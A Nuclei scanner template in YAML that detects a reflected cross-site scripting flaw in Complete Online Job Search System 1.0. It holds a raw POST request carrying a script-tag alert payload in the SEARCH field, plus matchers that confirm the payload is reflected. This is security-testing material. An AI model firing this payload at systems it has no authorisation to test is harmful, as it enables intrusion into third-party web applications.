nuclei-templates/vulnerabilities/other/eris-xss.yaml

47 lines
1.2 KiB
YAML
Raw Normal View History

2022-07-18 12:44:09 +00:00
id: eris-xss
info:
name: Complete Online Job Search System 1.0 - Cross-Site Scripting
2022-07-18 12:44:09 +00:00
author: arafatansari
severity: high
2022-07-18 12:44:09 +00:00
description: |
Complete Online Job Search System 1.0 contains a cross-site scripting vulnerability via index.php?q=advancesearch.
reference:
- https://github.com/debug601/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-9.md
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
2022-07-19 08:55:14 +00:00
metadata:
verified: true
tags: cve,cve2022,xss,eris
2022-07-18 12:44:09 +00:00
requests:
- raw:
- |
POST /index.php?q=result&searchfor=advancesearch HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-07-19 08:55:14 +00:00
SEARCH=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&COMPANY=&CATEGORY=&submit=Submit
2022-07-18 12:44:09 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-07-19 08:55:14 +00:00
- 'Result : <script>alert(document.domain)</script>'
- 'ERIS'
condition: and
2022-07-18 12:44:09 +00:00
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# Enhanced by md on 2022/09/20